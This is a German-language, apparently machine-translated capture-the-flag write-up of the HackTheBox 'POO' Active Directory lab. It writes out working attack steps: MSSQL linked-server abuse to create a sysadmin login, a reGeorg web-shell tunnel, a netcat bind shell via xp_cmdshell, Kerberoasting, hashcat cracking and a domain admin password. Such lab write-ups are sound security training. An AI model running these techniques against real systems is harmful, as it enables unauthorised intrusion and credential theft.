HackTheBox-Endspiel. Passage des Labors Professionelle Offensivoperationen. Pentest Active Directory

Bild

In diesem Artikel analysieren wir nicht nur den Durchgang eines Autos, sondern eines ganzen Minilabors von der HackTheBox- Site .

Wie in der Beschreibung angegeben, dient POO zum Testen von Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung. Ziel ist es, einen verfügbaren Host zu gefährden, die Berechtigungen zu erhöhen und letztendlich die gesamte Domäne zu gefährden, während 5 Flags gesammelt werden.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Intro


Dieses Endspiel besteht aus zwei Maschinen und enthält 5 Flags.

Bild

Die Beschreibung und Adresse des verfügbaren Hosts wird ebenfalls angegeben.

Bild

Lass uns anfangen!

Aufklärungsflagge


Dieser Computer hat eine IP-Adresse von 10.13.38.11, die ich zu / etc / hosts hinzufüge.
10.13.38.11 poo.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A poo.htb -p80,1433

Bild

Wir haben also IIS und MSSQL. In diesem Fall ermitteln wir den tatsächlichen DNS-Namen der Domäne und des Computers. Auf dem Webserver werden wir von der IIS-Homepage begrüßt.

Bild

Lassen Sie uns die Verzeichnisse durchgehen. Ich benutze dafür Gobuster. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

Bild

Daher verfügen wir über eine HTTP-Authentifizierung für das Verzeichnis / admin sowie eine verfügbare Desktop-Service-Repository-Datei .DS_Store. .DS_Store - Dies sind Dateien, in denen Benutzereinstellungen für den Ordner gespeichert sind, z. B. eine Liste von Dateien, die Position der Symbole und das ausgewählte Hintergrundbild. Eine solche Datei kann in das Webserververzeichnis von Webentwicklern fallen. So erhalten wir Informationen über den Inhalt des Verzeichnisses. Sie können hierfür den DS_Store-Crawler verwenden .

python3 dsstore_crawler.py -i http://poo.htb/

Bild

Wir bekommen den Inhalt des Verzeichnisses. Das Interessanteste hier ist das Verzeichnis / dev, aus dem wir die Quell- und Datenbankdateien in zwei Zweigen sehen können. Wir können jedoch zuerst 6 Zeichen des Namens von Dateien und Verzeichnissen eingeben, wenn der Dienst für IIS ShortName anfällig ist. Verwenden Sie den IIS-Kurznamenscanner, um nach dieser Sicherheitsanfälligkeit zu suchen .

Bild

Und wir gehen zu einer Textdatei, die mit "poo_co" beginnt. Da ich nicht wusste, was ich als nächstes tun sollte, wählte ich einfach alle Wörter, die mit „co“ beginnen, aus dem Verzeichniswörterbuch aus.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Und iteriere durch wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

Bild

Und wir finden das richtige Wort! Wir schauen uns diese Datei an und speichern die Anmeldeinformationen (nach dem DBNAME-Parameter sind sie von MSSQL).

Bild

Wir übergeben die Flagge und bewegen uns um 20% vorwärts.

Bild

Huh Flagge


Wir sind mit MSSQL verbunden, ich benutze DBeaver.

Bild

Wir finden in dieser Datenbank nichts Interessantes. Erstellen wir einen SQL-Editor und überprüfen Sie, welche Benutzer es sind.

SELECT name FROM master..syslogins;

Bild

Wir haben zwei Benutzer. Lassen Sie uns unsere Privilegien überprüfen.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

Bild

Somit gibt es keine Privilegien. Sehen wir uns die zugehörigen Server an, über diese Technik, die ich hier ausführlich geschrieben habe .

SELECT * FROM master..sysservers;

Bild

Also finden wir einen anderen SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery () überprüfen.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

Bild

Und wir können sogar einen Abfragebaum erstellen.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

Tatsache ist, dass wenn wir eine Anfrage an einen Verbindungsserver ausführen, die Anfrage im Kontext eines anderen Benutzers ausgeführt wird! Mal sehen, in welchem ​​Kontext wir an einem Verbindungsserver arbeiten.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

Bild

Nun wollen wir sehen, in welchem ​​Kontext die Anfrage vom Verbindungsserver an unseren ausgeführt wird!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

Bild

Dies ist also ein DBO-Kontext, der alle Berechtigungen haben sollte. Lassen Sie uns die Berechtigungen für den Fall einer Anfrage von einem Verbindungsserver überprüfen.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

Bild

Wie Sie sehen können, haben wir alle Privilegien! Lassen Sie uns unseren Administrator auf diese Weise erstellen. Aber sie lassen es nicht durch offene Abfragen, sondern durch EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

Und jetzt, da wir mit den Anmeldeinformationen des neuen Benutzers verbunden sind, beobachten wir die neue Flag-Datenbank.

Bild

Wir übergeben diese Flagge und gehen weiter.

Bild

Backtrack-Flagge


Wir werden die Shell mit MSSQL bekommen, ich benutze mssqlclient aus dem Impacket-Paket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

Bild

Wir müssen Passwörter bekommen, und das erste, was wir bereits getroffen haben, ist die Website. Daher benötigen wir eine Webserverkonfiguration (es ist unmöglich, eine praktische Shell zu werfen, anscheinend funktioniert die Firewall).

Bild

Der Zugriff wird jedoch verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen Sie nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis finden wir heraus, was Python ist.

Bild

Dann lesen Sie die Datei web.config, es gibt kein Problem.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

Bild

Gehen Sie mit den gefundenen Anmeldeinformationen zu / admin und holen Sie sich das Flag.

Bild

Bild

Glatte Flagge


Tatsächlich gibt es einige Unannehmlichkeiten bei der Verwendung einer Firewall, aber bei Betrachtung der Netzwerkeinstellungen stellen wir fest, dass auch IPv6-Pannen verwendet werden!

Bild

Fügen Sie diese Adresse zu / etc / hosts hinzu.
dead:babe::1001 poo6.htb
Lassen Sie uns den Host erneut scannen, aber IPv6 verwenden.

Bild

Über IPv6 ist der WinRM-Dienst verfügbar. Stellen Sie eine Verbindung mit den gefundenen Anmeldeinformationen her.

Bild

Auf dem Desktop befindet sich eine Flagge, die wir übergeben.

Bild

P00ned Flagge


Nach der Aufklärung des Gastgebers mit Winpeas finden wir nichts Besonderes. Dann wurde beschlossen, erneut nach Anmeldeinformationen zu suchen (ich habe auch einen Artikel zu diesem Thema geschrieben ). Es gelang mir jedoch nicht, alle SPNs über WinRM vom System abzurufen.

setspn.exe -T intranet.poo -Q */*

Bild

Lassen Sie uns den Befehl über MSSQL ausführen.

Bild

Auf diese Weise erhalten wir die SPNs der Benutzer p00_hr und p00_adm, was bedeutet, dass sie für einen Angriff wie Kerberoasting anfällig sind. Kurz gesagt, wir können Hashes ihrer Passwörter erhalten.

Zuerst müssen Sie im Namen des MSSQL-Benutzers eine stabile Shell erhalten. Da wir jedoch nur eingeschränkten Zugriff haben, haben wir nur über Port 80 und 1433 Zugriff auf den Host. Es ist jedoch möglich, den Verkehr durch Port 80 zu tunneln! Dazu verwenden wir die folgende Anwendung . Laden Sie die Datei tunnel.aspx in das Ausgangsverzeichnis des Webservers herunter - C: \ inetpub \ wwwroot \.

Bild

Wenn wir jedoch versuchen, darauf zuzugreifen, wird der Fehler 404 angezeigt. Dies bedeutet, dass * .aspx-Dateien nicht ausgeführt werden. Installieren Sie ASP.NET 4.5 wie folgt, damit die Dateien mit diesen Erweiterungen ausgeführt werden können.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

Bild

Bild

Und jetzt, wenn wir auf tunnel.aspx zugreifen, erhalten wir die Antwort, dass alles betriebsbereit ist.

Bild

Starten wir den Client-Teil der Anwendung, der sich mit der Weiterleitung von Datenverkehr befasst. Wir werden den gesamten Datenverkehr von Port 5432 zum Server umleiten.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

Bild

Und wir verwenden Proxy-Ketten, um Datenverkehr über unseren Proxy an jede Anwendung zu senden. Fügen Sie diesen Proxy zur Konfigurationsdatei /etc/proxychains.conf hinzu.

Bild

Jetzt laden wir das Netcat- Programm auf den Server hoch , mit dessen Hilfe wir eine stabile Bindungsshell erstellen , und das Invoke-Kerberoast-Skript , mit dem wir den Kerberoasting-Angriff ausführen.

Bild

Jetzt starten wir über MSSQL den Listener.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

Bild

Und verbinden Sie sich über unseren Proxy.

proxychains rlwrap nc poo.htb 4321

Bild

Und lass uns die Hashes holen.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

Bild

Als nächstes müssen Sie diese Hashes sortieren. Da das rockyou-Wörterbuch keine Passwortdaten enthielt, habe ich ALLE von Seclists bereitgestellten Passwortwörterbücher verwendet. Für die Suche verwenden wir Hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Und wir finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.

Bild

Bild

Und so haben wir drei Benutzer, gehen Sie zum Domänencontroller. Zuerst finden wir seine Adresse heraus.

Bild

Ok, wir haben die IP-Adresse des Domänencontrollers herausgefunden. Lassen Sie uns alle Benutzer der Domain sowie den Administrator herausfinden. So laden Sie das Skript herunter, um Informationen zu PowerView.ps1 zu erhalten. Stellen Sie dann eine Verbindung mit evil-winrm her, indem Sie das Verzeichnis mit dem Skript im Parameter -s angeben. Laden Sie dann einfach das PowerView-Skript.

Bild

Jetzt stehen uns alle Funktionen zur Verfügung. Der Benutzer p00_adm sieht aus wie ein privilegierter Benutzer, daher werden wir in seinem Kontext arbeiten. Erstellen Sie ein PSCredential-Objekt für diesen Benutzer.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Jetzt werden alle Powershell-Befehle, in denen wir Creds angeben, im Auftrag von p00_adm ausgeführt. Lassen Sie uns die Benutzer und das AdminCount-Attribut auflisten.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Bild

Und so ist unser Benutzer wirklich privilegiert. Werfen wir einen Blick auf die Gruppen, aus denen es besteht.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

Bild

Wir bestätigen, dass der Benutzer ein Domain-Administrator ist. Dies gibt ihm das Recht, sich remote beim Domänencontroller anzumelden. Versuchen wir, über unseren Tunnel über WinRM einzutreten. Ich war verwirrt über die Fehler, die reGeorg bei der Verwendung von evil-winrm verursacht hat.

Bild

Dann verwenden wir ein anderes, einfacheres Skript , um eine Verbindung zu WinRM herzustellen. Öffnen und ändern Sie die Parameter für die Verbindung.

Bild

Wir versuchen uns zu verbinden und sind im System.

Bild

Aber es gibt keine Flagge. Schauen Sie sich dann den Benutzer an und überprüfen Sie die Desktops.

Bild

Bei mr3ks finden wir die Flagge und das Labor ist zu 100% bestanden.

Bild

Das ist alles. Kommentieren Sie als Feedback, ob Sie aus diesem Artikel etwas Neues gelernt haben und ob es für Sie nützlich war.

Sie können sich uns per Telegramm anschließen. Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles